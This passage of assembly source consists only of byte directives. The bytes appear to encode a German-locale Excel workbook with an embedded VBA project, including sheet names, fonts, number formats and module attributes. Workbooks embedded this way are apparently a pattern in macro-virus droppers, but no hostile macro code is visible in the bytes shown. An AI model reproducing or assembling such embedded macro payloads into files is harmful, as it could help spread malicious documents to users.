db 000h, 000h, 05Ah, 000h, 000h, 000h, 05Bh, 000h
db 000h, 000h, 05Ch, 000h, 000h, 000h, 05Dh, 000h
db 000h, 000h, 05Eh, 000h, 000h, 000h, 05Fh, 000h
db 000h, 000h, 060h, 000h, 000h, 000h, 061h, 000h
db 000h, 000h, 062h, 000h, 000h, 000h, 063h, 000h
db 000h, 000h, 064h, 000h, 000h, 000h, 065h, 000h
db 000h, 000h, 066h, 000h, 000h, 000h, 0FEh, 0FFh
db 0FFh, 0FFh, 068h, 000h, 000h, 000h, 069h, 000h
db 000h, 000h, 06Ah, 000h, 000h, 000h, 06Bh, 000h
db 000h, 000h, 06Ch, 000h, 000h, 000h, 06Dh, 000h
db 000h, 000h, 06Eh, 000h, 000h, 000h, 06Fh, 000h
db 000h, 000h, 070h, 000h, 000h, 000h, 071h, 000h
db 000h, 000h, 072h, 000h, 000h, 000h, 073h, 000h
db 000h, 000h, 074h, 000h, 000h, 000h, 075h, 000h
db 000h, 000h, 076h, 000h, 000h, 000h, 077h, 000h
db 000h, 000h, 078h, 000h, 000h, 000h, 079h, 000h
db 000h, 000h, 07Ah, 000h, 000h, 000h, 07Bh, 000h
db 000h, 000h, 07Ch, 000h, 000h, 000h, 07Dh, 000h
db 000h, 000h, 07Eh, 000h, 000h, 000h, 07Fh, 000h
db 000h, 000h, 080h, 000h, 000h, 000h, 009h, 008h
db 010h, 000h, 000h, 006h, 005h, 000h, 0D3h, 010h
db 0CCh, 007h, 041h, 000h, 000h, 000h, 006h, 000h
db 000h, 000h, 0E1h, 000h, 002h, 000h, 0B0h, 004h
db 0C1h, 000h, 002h, 000h, 000h, 000h, 0E2h, 000h
db 000h, 000h, 05Ch, 000h, 070h, 000h, 001h, 000h
db 000h, 042h, 0E6h, 06Ch, 020h, 042h, 000h, 002h
db 000h, 0B0h, 004h, 061h, 001h, 002h, 000h, 000h
db 000h, 03Dh, 001h, 002h, 000h, 001h, 000h, 0D3h
db 000h, 000h, 000h, 0BAh, 001h, 014h, 000h, 011h
db 000h, 000h, 044h, 069h, 065h, 073h, 065h, 041h
db 072h, 062h, 065h, 069h, 074h, 073h, 06Dh, 061h
db 070h, 070h, 065h, 09Ch, 000h, 002h, 000h, 00Eh
db 000h, 019h, 000h, 002h, 000h, 000h, 000h, 012h
db 000h, 002h, 000h, 000h, 000h, 013h, 000h, 002h
db 000h, 000h, 000h, 0AFh, 001h, 002h, 000h, 000h
db 000h, 0BCh, 001h, 002h, 000h, 000h, 000h, 03Dh
db 000h, 012h, 000h, 0F0h, 000h, 087h, 000h, 0DCh
db 023h, 094h, 011h, 039h, 0E6h, 005h, 000h, 001h
db 000h, 058h, 002h, 040h, 000h, 002h, 000h, 000h
db 000h, 08Dh, 000h, 002h, 000h, 000h, 000h, 022h
db 000h, 002h, 000h, 000h, 000h, 00Eh, 000h, 002h
db 000h, 001h, 000h, 0B7h, 001h, 002h, 000h, 000h
db 000h, 0DAh, 000h, 002h, 000h, 000h, 000h, 031h
db 000h, 01Ah, 000h, 0C8h, 000h, 000h, 000h, 0FFh
db 07Fh, 090h, 001h, 0E6h, 006h, 000h, 005h, 001h
db 041h, 000h, 072h, 000h, 069h, 000h, 061h, 000h
db 06Ch, 000h, 031h, 000h, 01Ah, 000h, 0C8h, 000h
db 000h, 000h, 0FFh, 07Fh, 090h, 001h, 0E6h, 006h
db 000h, 005h, 001h, 041h, 000h, 072h, 000h, 069h
db 000h, 061h, 000h, 06Ch, 000h, 031h, 000h, 01Ah
db 000h, 0C8h, 000h, 000h, 000h, 0FFh, 07Fh, 090h
db 001h, 0E6h, 006h, 000h, 005h, 001h, 041h, 000h
db 072h, 000h, 069h, 000h, 061h, 000h, 06Ch, 000h
db 031h, 000h, 01Ah, 000h, 0C8h, 000h, 000h, 000h
db 0FFh, 07Fh, 090h, 001h, 0E6h, 006h, 000h, 005h
db 001h, 041h, 000h, 072h, 000h, 069h, 000h, 061h
db 000h, 06Ch, 000h, 01Eh, 004h, 01Eh, 000h, 005h
db 000h, 019h, 000h, 000h, 022h, 0F6h, 053h, 022h
db 05Ch, 020h, 023h, 02Ch, 023h, 023h, 030h, 03Bh
db 05Ch, 02Dh, 022h, 0F6h, 053h, 022h, 05Ch, 020h
db 023h, 02Ch, 023h, 023h, 030h, 01Eh, 004h, 023h
db 000h, 006h, 000h, 01Eh, 000h, 000h, 022h, 0F6h
db 053h, 022h, 05Ch, 020h, 023h, 02Ch, 023h, 023h
db 030h, 03Bh, 05Bh, 052h, 065h, 064h, 05Dh, 05Ch
db 02Dh, 022h, 0F6h, 053h, 022h, 05Ch, 020h, 023h
db 02Ch, 023h, 023h, 030h, 01Eh, 004h, 024h, 000h
db 007h, 000h, 01Fh, 000h, 000h, 022h, 0F6h, 053h
db 022h, 05Ch, 020h, 023h, 02Ch, 023h, 023h, 030h
db 02Eh, 030h, 030h, 03Bh, 05Ch, 02Dh, 022h, 0F6h
db 053h, 022h, 05Ch, 020h, 023h, 02Ch, 023h, 023h
db 030h, 02Eh, 030h, 030h, 01Eh, 004h, 029h, 000h
db 008h, 000h, 024h, 000h, 000h, 022h, 0F6h, 053h
db 022h, 05Ch, 020h, 023h, 02Ch, 023h, 023h, 030h
db 02Eh, 030h, 030h, 03Bh, 05Bh, 052h, 065h, 064h
db 05Dh, 05Ch, 02Dh, 022h, 0F6h, 053h, 022h, 05Ch
db 020h, 023h, 02Ch, 023h, 023h, 030h, 02Eh, 030h
db 030h, 01Eh, 004h, 03Eh, 000h, 02Ah, 000h, 039h
db 000h, 000h, 05Fh, 02Dh, 022h, 0F6h, 053h, 022h
db 05Ch, 020h, 02Ah, 020h, 023h, 02Ch, 023h, 023h
db 030h, 05Fh, 02Dh, 03Bh, 05Ch, 02Dh, 022h, 0F6h
db 053h, 022h, 05Ch, 020h, 02Ah, 020h, 023h, 02Ch
db 023h, 023h, 030h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh
db 022h, 0F6h, 053h, 022h, 05Ch, 020h, 02Ah, 020h
db 022h, 02Dh, 022h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh
db 040h, 05Fh, 02Dh, 01Eh, 004h, 02Ch, 000h, 029h
db 000h, 027h, 000h, 000h, 05Fh, 02Dh, 02Ah, 020h
db 023h, 02Ch, 023h, 023h, 030h, 05Fh, 02Dh, 03Bh
db 05Ch, 02Dh, 02Ah, 020h, 023h, 02Ch, 023h, 023h
db 030h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh, 02Ah, 020h
db 022h, 02Dh, 022h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh
db 040h, 05Fh, 02Dh, 01Eh, 004h, 046h, 000h, 02Ch
db 000h, 041h, 000h, 000h, 05Fh, 02Dh, 022h, 0F6h
db 053h, 022h, 05Ch, 020h, 02Ah, 020h, 023h, 02Ch
db 023h, 023h, 030h, 02Eh, 030h, 030h, 05Fh, 02Dh
db 03Bh, 05Ch, 02Dh, 022h, 0F6h, 053h, 022h, 05Ch
db 020h, 02Ah, 020h, 023h, 02Ch, 023h, 023h, 030h
db 02Eh, 030h, 030h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh
db 022h, 0F6h, 053h, 022h, 05Ch, 020h, 02Ah, 020h
db 022h, 02Dh, 022h, 03Fh, 03Fh, 05Fh, 02Dh, 03Bh
db 05Fh, 02Dh, 040h, 05Fh, 02Dh, 01Eh, 004h, 034h
db 000h, 02Bh, 000h, 02Fh, 000h, 000h, 05Fh, 02Dh
db 02Ah, 020h, 023h, 02Ch, 023h, 023h, 030h, 02Eh
db 030h, 030h, 05Fh, 02Dh, 03Bh, 05Ch, 02Dh, 02Ah
db 020h, 023h, 02Ch, 023h, 023h, 030h, 02Eh, 030h
db 030h, 05Fh, 02Dh, 03Bh, 05Fh, 02Dh, 02Ah, 020h
db 022h, 02Dh, 022h, 03Fh, 03Fh, 05Fh, 02Dh, 03Bh
db 05Fh, 02Dh, 040h, 05Fh, 02Dh, 0E0h, 000h, 014h
db 0E6h, 005h, 000h, 0F5h, 0FFh, 020h, 0E6h, 00Bh
db 000h, 0C0h, 020h, 0E0h, 000h, 014h, 000h, 001h
db 000h, 000h, 000h, 0F5h, 0FFh, 020h, 000h, 000h
db 0F4h, 0E6h, 008h, 000h, 0C0h, 020h, 0E0h, 000h
db 014h, 000h, 001h, 000h, 000h, 000h, 0F5h, 0FFh
db 020h, 000h, 000h, 0F4h, 0E6h, 008h, 000h, 0C0h
db 020h, 0E0h, 000h, 014h, 000h, 002h, 000h, 000h
db 000h, 0F5h, 0FFh, 020h, 000h, 000h, 0F4h, 0E6h
db 008h, 000h, 0C0h, 020h, 0E0h, 000h, 014h, 000h
db 002h, 000h, 000h, 000h, 0F5h, 0FFh, 020h, 000h
db 000h, 0F4h, 0E6h, 008h, 000h, 0C0h, 020h, 0E0h
db 000h, 014h, 0E6h, 005h, 000h, 0F5h, 0FFh, 020h
db 000h, 000h, 0F4h, 0E6h, 008h, 000h, 0C0h, 020h
db 0E0h, 000h, 014h, 0E6h, 005h, 000h, 0F5h, 0FFh
db 020h, 000h, 000h, 0F4h, 0E6h, 008h, 000h, 0C0h
db 020h, 0E0h, 000h, 014h, 0E6h, 005h, 000h, 0F5h
db 0FFh, 020h, 000h, 000h, 0F4h, 0E6h, 008h, 000h
db 0C0h, 020h, 0E0h, 000h, 014h, 0E6h, 005h, 000h
db 0F5h, 0FFh, 020h, 000h, 000h, 0F4h, 0E6h, 008h
db 000h, 0C0h, 020h, 0E0h, 000h, 014h, 0E6h, 005h
db 000h, 0F5h, 0FFh, 020h, 000h, 000h, 0F4h, 0E6h
db 008h, 000h, 0C0h, 020h, 0E0h, 000h, 014h, 0E6h
db 005h, 000h, 0F5h, 0FFh, 020h, 000h, 000h, 0F4h
db 0E6h, 008h, 000h, 0C0h, 020h, 0E0h, 000h, 014h
db 0E6h, 005h, 000h, 0F5h, 0FFh, 020h, 000h, 000h
db 0F4h, 0E6h, 008h, 000h, 0C0h, 020h, 0E0h, 000h
db 014h, 0E6h, 005h, 000h, 0F5h, 0FFh, 020h, 000h
db 000h, 0F4h, 0E6h, 008h, 000h, 0C0h, 020h, 0E0h
db 000h, 014h, 0E6h, 005h, 000h, 0F5h, 0FFh, 020h
db 000h, 000h, 0F4h, 0E6h, 008h, 000h, 0C0h, 020h
db 0E0h, 000h, 014h, 0E6h, 005h, 000h, 0F5h, 0FFh
db 020h, 000h, 000h, 0F4h, 0E6h, 008h, 000h, 0C0h
db 020h, 0E0h, 000h, 014h, 0E6h, 005h, 000h, 001h
db 000h, 020h, 0E6h, 00Bh, 000h, 0C0h, 020h, 0E0h
db 000h, 014h, 000h, 001h, 000h, 02Bh, 000h, 0F5h
db 0FFh, 020h, 000h, 000h, 0F8h, 0E6h, 008h, 000h
db 0C0h, 020h, 0E0h, 000h, 014h, 000h, 001h, 000h
db 029h, 000h, 0F5h, 0FFh, 020h, 000h, 000h, 0F8h
db 0E6h, 008h, 000h, 0C0h, 020h, 0E0h, 000h, 014h
db 000h, 001h, 000h, 009h, 000h, 0F5h, 0FFh, 020h
db 000h, 000h, 0F8h, 0E6h, 008h, 000h, 0C0h, 020h
db 0E0h, 000h, 014h, 000h, 001h, 000h, 02Ch, 000h
db 0F5h, 0FFh, 020h, 000h, 000h, 0F8h, 0E6h, 008h
db 000h, 0C0h, 020h, 0E0h, 000h, 014h, 000h, 001h
db 000h, 02Ah, 000h, 0F5h, 0FFh, 020h, 000h, 000h
db 0F8h, 0E6h, 008h, 000h, 0C0h, 020h, 093h, 002h
db 004h, 000h, 010h, 080h, 003h, 0FFh, 093h, 002h
db 004h, 000h, 011h, 080h, 006h, 0FFh, 093h, 002h
db 004h, 000h, 012h, 080h, 005h, 0FFh, 093h, 002h
db 004h, 000h, 000h, 080h, 000h, 0FFh, 093h, 002h
db 004h, 000h, 013h, 080h, 004h, 0FFh, 093h, 002h
db 004h, 000h, 014h, 080h, 007h, 0FFh, 060h, 001h
db 002h, 000h, 001h, 000h, 085h, 000h, 010h, 000h
db 086h, 009h, 0E6h, 004h, 000h, 008h, 000h, 054h
db 061h, 062h, 065h, 06Ch, 06Ch, 065h, 031h, 08Ch
db 000h, 004h, 000h, 031h, 000h, 02Bh, 000h, 0FCh
db 000h, 008h, 0E6h, 009h, 000h, 0FFh, 000h, 0FAh
db 003h, 008h, 000h, 0FFh, 0FFh, 040h, 000h, 000h
db 000h, 040h, 010h, 045h, 000h, 000h, 000h, 040h
db 000h, 001h, 000h, 000h, 000h, 00Ch, 000h, 040h
db 000h, 051h, 004h, 0E6h, 00Ah, 000h, 085h, 084h
db 0F7h, 0BFh, 001h, 000h, 000h, 000h, 09Ch, 084h
db 0F7h, 0BFh, 000h, 000h, 040h, 000h, 001h, 000h
db 000h, 000h, 038h, 0C6h, 062h, 0E6h, 005h, 000h
db 001h, 0E6h, 007h, 000h, 005h, 040h, 000h, 080h
db 002h, 094h, 0F7h, 0BFh, 000h, 000h, 040h, 000h
db 004h, 000h, 000h, 000h, 0E0h, 006h, 09Ch, 000h
db 00Ah, 000h, 000h, 000h, 020h, 000h, 000h, 000h
db 0FAh, 07Eh, 070h, 030h, 00Ah, 000h, 000h, 000h
db 00Ah, 000h, 000h, 000h, 007h, 00Ch, 000h, 000h
db 001h, 000h, 000h, 000h, 0E8h, 006h, 09Ch, 000h
db 0B4h, 0C5h, 062h, 0E6h, 00Dh, 000h, 0E6h, 008h
db 0FFh, 09Ch, 030h, 075h, 0E6h, 005h, 000h, 069h
db 000h, 075h, 000h, 0FFh, 0FFh, 0FFh, 0E7h, 0E6h
db 004h, 000h, 05Ch, 000h, 063h, 000h, 005h, 000h
db 000h, 000h, 05Ch, 000h, 064h, 000h, 065h, 000h
db 06Dh, 000h, 003h, 0E6h, 007h, 000h, 028h, 0D0h
db 09Dh, 030h, 0E6h, 008h, 000h, 0E6h, 004h, 0FFh
db 0E6h, 014h, 000h, 002h, 007h, 002h, 002h, 0E6h
db 004h, 0FFh, 0E6h, 004h, 000h, 003h, 000h, 000h
db 000h, 070h, 000h, 07Eh, 030h, 0C3h, 07Ch, 070h
db 030h, 004h, 000h, 000h, 000h, 004h, 0E6h, 007h
db 000h, 001h, 000h, 000h, 000h, 04Eh, 087h, 075h
db 000h, 082h, 0D8h, 07Eh, 030h, 003h, 000h, 000h
db 000h, 003h, 0E6h, 00Bh, 000h, 061h, 07Ah, 070h
db 030h, 0D4h, 006h, 09Ch, 000h, 00Ah, 000h, 000h
db 000h, 0A0h, 0C5h, 062h, 000h, 00Ah, 000h, 000h
db 000h, 001h, 000h, 000h, 000h, 00Ah, 000h, 000h
db 000h, 0A0h, 0C5h, 062h, 000h, 0D4h, 006h, 09Ch
db 000h, 00Ah, 0E6h, 00Bh, 000h, 028h, 0D0h, 09Dh
db 030h, 0E6h, 008h, 000h, 002h, 000h, 000h, 000h
db 0FFh, 003h, 000h, 000h, 001h, 000h, 000h, 000h
db 001h, 000h, 000h, 000h, 001h, 000h, 000h, 000h
db 020h, 010h, 000h, 000h, 018h, 0E6h, 007h, 000h
db 084h, 0F6h, 053h, 030h, 05Ch, 0C5h, 062h, 000h
db 05Dh, 0E6h, 007h, 000h, 002h, 000h, 0C8h, 030h
db 000h, 000h, 0C5h, 030h, 0E6h, 004h, 000h, 061h
db 07Ah, 070h, 030h, 04Ch, 087h, 075h, 000h, 004h
db 000h, 000h, 000h, 07Eh, 00Eh, 002h, 002h, 0E1h
db 03Ch, 06Dh, 030h, 016h, 000h, 0C8h, 030h, 0D3h
db 000h, 000h, 000h, 09Eh, 0C5h, 062h, 000h, 0FCh
db 000h, 000h, 000h, 009h, 000h, 000h, 000h, 0CDh
db 015h, 004h, 030h, 000h, 000h, 0C5h, 030h, 004h
db 02Ah, 0C8h, 030h, 039h, 015h, 000h, 030h, 007h
db 00Ch, 000h, 000h, 001h, 000h, 000h, 000h, 0D4h
db 006h, 09Ch, 000h, 00Ah, 000h, 000h, 000h, 0A0h
db 0C5h, 062h, 000h, 00Ah, 000h, 000h, 000h, 0D0h
db 006h, 09Ch, 0E6h, 005h, 000h, 0A0h, 0C7h, 062h
db 000h, 05Dh, 0E6h, 007h, 000h, 08Eh, 08Fh, 00Fh
db 030h, 0E6h, 004h, 000h, 09Ch, 0C5h, 062h, 000h
db 00Bh, 000h, 000h, 000h, 0E6h, 004h, 0FFh, 070h
db 006h, 09Ch, 000h, 0DCh, 0C7h, 062h, 000h, 004h
db 000h, 000h, 000h, 00Bh, 000h, 057h, 000h, 0E4h
db 000h, 068h, 000h, 072h, 000h, 075h, 000h, 06Eh
db 000h, 067h, 000h, 020h, 000h, 05Bh, 000h, 030h
db 000h, 05Dh, 000h, 000h, 000h, 05Fh, 000h, 000h
db 000h, 001h, 000h, 008h, 000h, 09Ah, 00Dh, 0E6h
db 004h, 000h, 0AEh, 082h, 070h, 030h, 007h, 00Ch
db 000h, 000h, 001h, 000h, 000h, 000h, 04Ch, 087h
db 075h, 000h, 004h, 000h, 000h, 000h, 080h, 0D8h
db 07Eh, 030h, 004h, 000h, 000h, 000h, 0AEh, 082h
db 070h, 030h, 007h, 00Ch, 000h, 000h, 001h, 000h
db 000h, 000h, 064h, 000h, 098h, 000h, 002h, 000h
db 000h, 000h, 065h, 010h, 000h, 030h, 064h, 000h
db 098h, 000h, 096h, 06Ah, 054h, 030h, 004h, 000h
db 000h, 000h, 0D9h, 010h, 000h, 030h, 096h, 06Ah
db 054h, 030h, 052h, 070h, 054h, 030h, 0C2h, 0C8h
db 010h, 030h, 096h, 01Ah, 09Ah, 000h, 050h, 000h
db 098h, 000h, 065h, 010h, 000h, 030h, 050h, 000h
db 098h, 000h, 096h, 01Ah, 09Ah, 000h, 002h, 000h
db 000h, 000h, 0DDh, 088h, 00Fh, 030h, 096h, 01Ah
db 09Ah, 000h, 050h, 000h, 098h, 000h, 001h, 000h
db 000h, 000h, 060h, 01Ah, 09Ah, 0E6h, 005h, 000h
db 008h, 000h, 098h, 000h, 0FCh, 001h, 098h, 0E6h
db 009h, 000h, 0A4h, 01Ah, 09Ah, 0E6h, 00Dh, 000h
db 03Fh, 0E6h, 007h, 000h, 0B0h, 0C6h, 062h, 000h
db 039h, 086h, 00Fh, 030h, 006h, 000h, 000h, 000h
db 060h, 01Ah, 09Ah, 000h, 02Dh, 000h, 000h, 000h
db 007h, 000h, 000h, 000h, 006h, 002h, 098h, 000h
db 0DEh, 0C7h, 062h, 000h, 0DCh, 0C7h, 062h, 000h
db 008h, 000h, 098h, 000h, 007h, 000h, 000h, 000h
db 03Dh, 000h, 000h, 000h, 0CEh, 05Ah, 054h, 030h
db 0E6h, 004h, 000h, 065h, 010h, 000h, 030h, 070h
db 06Ah, 054h, 030h, 0ECh, 004h, 09Ah, 000h, 04Ch
db 000h, 000h, 000h, 0D9h, 010h, 000h, 030h, 0ECh
db 004h, 09Ah, 000h, 070h, 06Ah, 054h, 030h, 04Ch
db 000h, 000h, 000h, 0CEh, 05Ah, 054h, 030h, 0BAh
db 0C7h, 062h, 000h, 0C0h, 0C7h, 062h, 0E6h, 00Dh
db 000h, 0A2h, 0C7h, 010h, 030h, 009h, 004h, 0E6h
db 00Ah, 000h, 024h, 000h, 000h, 000h, 0FCh, 0E7h
db 062h, 000h, 0F3h, 083h, 00Fh, 030h, 04Ch, 0C7h
db 062h, 000h, 001h, 000h, 000h, 000h, 010h, 0A3h
db 09Ah, 0E6h, 009h, 000h, 0C0h, 0C7h, 062h, 0E6h
db 005h, 000h, 010h, 0A3h, 09Ah, 0E6h, 005h, 000h
db 0F4h, 0C6h, 062h, 000h, 06Eh, 083h, 00Fh, 030h
db 0E6h, 024h, 000h, 038h, 005h, 09Ch, 000h, 0DCh
db 0C7h, 062h, 000h, 014h, 000h, 000h, 000h, 0E0h
db 000h, 000h, 000h, 0A8h, 0C7h, 062h, 000h, 0FCh
db 0E7h, 062h, 0E6h, 005h, 000h, 01Ch, 0A2h, 09Ah
db 000h, 0C4h, 0C7h, 062h, 000h, 09Ah, 020h, 000h
db 030h, 01Ch, 0A2h, 09Ah, 000h, 073h, 090h, 00Ah
db 000h, 000h, 000h, 009h, 008h, 010h, 000h, 000h
db 006h, 010h, 000h, 0D3h, 010h, 0CCh, 007h, 041h
db 000h, 000h, 000h, 006h, 000h, 000h, 000h, 00Bh
db 002h, 010h, 0E6h, 00Dh, 000h, 03Eh, 00Ah, 000h
db 000h, 00Dh, 000h, 002h, 000h, 001h, 000h, 00Ch
db 000h, 002h, 000h, 064h, 000h, 00Fh, 000h, 002h
db 000h, 001h, 000h, 011h, 000h, 002h, 000h, 000h
db 000h, 010h, 000h, 008h, 000h, 0FCh, 0A9h, 0F1h
db 0D2h, 04Dh, 062h, 050h, 03Fh, 05Fh, 000h, 002h
db 000h, 001h, 000h, 02Ah, 000h, 002h, 000h, 000h
db 000h, 02Bh, 000h, 002h, 000h, 000h, 000h, 082h
db 000h, 002h, 000h, 001h, 000h, 080h, 000h, 008h
db 0E6h, 009h, 000h, 025h, 002h, 004h, 000h, 000h
db 000h, 0FFh, 000h, 081h, 000h, 002h, 000h, 0C1h
db 004h, 014h, 000h, 000h, 000h, 015h, 000h, 000h
db 000h, 083h, 000h, 002h, 000h, 000h, 000h, 084h
db 000h, 002h, 000h, 000h, 000h, 0A1h, 000h, 022h
db 000h, 000h, 000h, 0FFh, 000h, 001h, 000h, 001h
db 000h, 001h, 000h, 004h, 000h, 0DEh, 0C7h, 062h
db 000h, 08Ah, 01Dh, 03Ch, 0FCh, 0FDh, 07Eh, 0DFh
db 03Fh, 08Ah, 01Dh, 03Ch, 0FCh, 0FDh, 07Eh, 0DFh
db 03Fh, 0CEh, 05Ah, 055h, 000h, 002h, 000h, 00Ah
db 000h, 000h, 002h, 00Eh, 0E6h, 00Fh, 000h, 03Eh
db 002h, 012h, 000h, 0B6h, 006h, 0E6h, 004h, 000h
db 040h, 0E6h, 00Bh, 000h, 01Dh, 000h, 00Fh, 000h
db 003h, 0E6h, 006h, 000h, 001h, 0E6h, 007h, 000h
db 0BAh, 001h, 00Bh, 000h, 008h, 000h, 000h, 054h
db 061h, 062h, 065h, 06Ch, 06Ch, 065h, 031h, 00Ah
db 0E6h, 031h, 000h, 001h, 016h, 001h, 000h, 000h
db 0B6h, 000h, 0FFh, 0FFh, 001h, 001h, 0E6h, 004h
db 000h, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h, 0E6h
db 006h, 0FFh, 0E6h, 034h, 000h, 010h, 000h, 000h
db 000h, 003h, 000h, 000h, 000h, 005h, 000h, 000h
db 000h, 007h, 000h, 000h, 000h, 0E6h, 008h, 0FFh
db 001h, 001h, 008h, 000h, 000h, 000h, 0E6h, 004h
db 0FFh, 078h, 000h, 000h, 000h, 0DEh, 000h, 000h
db 000h, 0AFh, 002h, 000h, 000h, 0F5h, 001h, 000h
db 000h, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h, 001h
db 000h, 000h, 000h, 0B5h, 031h, 0B7h, 031h, 000h
db 000h, 0FFh, 0FFh, 023h, 000h, 000h, 000h, 088h
db 000h, 000h, 000h, 008h, 0E6h, 020h, 000h, 0FFh
db 0FFh, 000h, 000h, 0CBh, 002h, 000h, 000h, 0D6h
db 000h, 000h, 000h, 0D6h, 000h, 000h, 000h, 01Fh
db 003h, 0E6h, 004h, 000h, 0E6h, 004h, 0FFh, 0E6h
db 004h, 000h, 0DFh, 000h, 0FFh, 0FFh, 0E6h, 004h
db 000h, 00Ch, 000h, 0E6h, 058h, 0FFh, 044h, 000h
db 069h, 000h, 065h, 000h, 073h, 000h, 065h, 000h
db 041h, 000h, 072h, 000h, 062h, 000h, 065h, 000h
db 069h, 000h, 074h, 000h, 073h, 000h, 06Dh, 000h
db 061h, 000h, 070h, 000h, 070h, 000h, 065h, 0E6h
db 01Fh, 000h, 024h, 000h, 002h, 001h, 007h, 000h
db 000h, 000h, 0E6h, 008h, 0FFh, 0E6h, 024h, 000h
db 02Bh, 000h, 000h, 000h, 0CAh, 003h, 0E6h, 006h
db 000h, 054h, 000h, 061h, 000h, 062h, 000h, 065h
db 000h, 06Ch, 000h, 06Ch, 000h, 065h, 000h, 031h
db 0E6h, 031h, 000h, 012h, 000h, 002h, 001h, 006h
db 000h, 000h, 000h, 004h, 000h, 000h, 000h, 0E6h
db 004h, 0FFh, 0E6h, 024h, 000h, 03Bh, 000h, 000h
db 000h, 0BFh, 003h, 0E6h, 006h, 000h, 044h, 000h
db 065h, 000h, 06Dh, 000h, 069h, 000h, 075h, 000h
db 072h, 000h, 067h, 0E6h, 033h, 000h, 010h, 000h
db 002h, 001h, 008h, 000h, 000h, 000h, 0E6h, 008h
db 0FFh, 0E6h, 024h, 000h, 04Ah, 000h, 000h, 000h
db 01Fh, 007h, 0E6h, 006h, 000h, 05Fh, 000h, 056h
db 000h, 042h, 000h, 041h, 000h, 05Fh, 000h, 050h
db 000h, 052h, 000h, 04Fh, 000h, 04Ah, 000h, 045h
db 000h, 043h, 000h, 054h, 0E6h, 029h, 000h, 01Ah
db 000h, 002h, 000h, 0E6h, 00Ch, 0FFh, 0E6h, 024h
db 000h, 067h, 000h, 000h, 000h, 059h, 00Ch, 0E6h
db 006h, 000h, 0E6h, 028h, 0FFh, 028h, 000h, 000h
db 000h, 002h, 000h, 053h, 04Ch, 0E6h, 004h, 0FFh
db 000h, 000h, 001h, 000h, 053h, 010h, 0E6h, 004h
db 0FFh, 000h, 000h, 001h, 000h, 053h, 094h, 0E6h
db 004h, 0FFh, 0E6h, 004h, 000h, 002h, 03Ch, 0E6h
db 004h, 0FFh, 000h, 000h, 0FFh, 0FFh, 001h, 001h
db 0E6h, 004h, 000h, 001h, 000h, 04Eh, 000h, 030h
db 000h, 07Bh, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 032h, 000h, 030h, 000h, 038h, 000h, 031h
db 000h, 039h, 000h, 02Dh, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 02Dh, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 02Dh
db 000h, 043h, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 02Dh, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 034h
db 000h, 036h, 000h, 07Dh, 0E6h, 007h, 000h, 0DFh
db 0E6h, 004h, 000h, 0E6h, 004h, 0FFh, 001h, 001h
db 038h, 000h, 000h, 000h, 002h, 081h, 0FEh, 0E6h
db 009h, 0FFh, 028h, 0E6h, 005h, 000h, 0FFh, 0FFh
db 0E6h, 008h, 000h, 0E6h, 008h, 0FFh, 074h, 000h
db 020h, 000h, 01Dh, 000h, 000h, 000h, 024h, 000h
db 000h, 000h, 0E6h, 004h, 0FFh, 048h, 0E6h, 005h
db 000h, 0FFh, 0FFh, 000h, 000h, 001h, 0E6h, 007h
db 000h, 0E6h, 00Ch, 0FFh, 0E6h, 004h, 000h, 0E6h
db 010h, 0FFh, 0E6h, 004h, 000h, 0E6h, 010h, 0FFh
db 0E6h, 008h, 000h, 0E6h, 008h, 0FFh, 0E6h, 004h
db 000h, 0E6h, 01Eh, 0FFh, 04Dh, 045h, 000h, 000h
db 0E6h, 006h, 0FFh, 0E6h, 004h, 000h, 0FFh, 0FFh
db 0E6h, 004h, 000h, 0FFh, 0FFh, 001h, 001h, 0E6h
db 040h, 000h, 0FEh, 0CAh, 001h, 000h, 000h, 000h
db 0E6h, 004h, 0FFh, 001h, 001h, 008h, 000h, 000h
db 000h, 0E6h, 004h, 0FFh, 078h, 000h, 000h, 000h
db 001h, 0A7h, 0B0h, 000h, 041h, 074h, 074h, 072h
db 069h, 062h, 075h, 074h, 000h, 065h, 020h, 056h
db 042h, 05Fh, 04Eh, 061h, 06Dh, 000h, 065h, 020h
db 03Dh, 020h, 022h, 044h, 069h, 065h, 000h, 073h
db 065h, 041h, 072h, 062h, 065h, 069h, 074h, 000h
db 073h, 06Dh, 061h, 070h, 070h, 065h, 022h, 00Dh
db 022h, 00Ah, 00Ah, 0A0h, 042h, 061h, 073h, 002h
db 0A0h, 030h, 07Bh, 000h, 030h, 030h, 030h, 032h
db 030h, 038h, 031h, 039h, 0EAh, 02Dh, 000h, 010h
db 030h, 003h, 008h, 043h, 000h, 014h, 002h, 012h
db 001h, 024h, 020h, 030h, 030h, 034h, 036h, 07Dh
db 00Dh, 07Ch, 043h, 072h, 040h, 065h, 061h, 074h
db 061h, 062h, 06Ch, 001h, 086h, 046h, 010h, 061h
db 06Ch, 073h, 065h, 00Ch, 05Eh, 050h, 072h, 065h
db 020h, 064h, 065h, 063h, 06Ch, 061h, 000h, 006h
db 049h, 064h, 011h, 000h, 090h, 054h, 072h, 075h
db 00Dh, 022h, 045h, 078h, 070h, 008h, 06Fh, 073h
db 065h, 014h, 01Ch, 054h, 065h, 06Dh, 070h, 000h
db 06Ch, 061h, 074h, 065h, 044h, 065h, 072h, 069h
db 006h, 076h, 002h, 024h, 011h, 065h, 043h, 075h
db 073h, 074h, 06Fh, 018h, 06Dh, 069h, 07Ah, 004h
db 044h, 003h, 032h, 0E6h, 036h, 000h, 001h, 016h
db 001h, 000h, 000h, 0B6h, 000h, 0FFh, 0FFh, 001h
db 001h, 0E6h, 004h, 000h, 0E6h, 004h, 0FFh, 0E6h
db 004h, 000h, 0E6h, 006h, 0FFh, 0E6h, 034h, 000h
db 010h, 000h, 000h, 000h, 003h, 000h, 000h, 000h
db 005h, 000h, 000h, 000h, 007h, 000h, 000h, 000h
db 0E6h, 008h, 0FFh, 001h, 001h, 008h, 000h, 000h
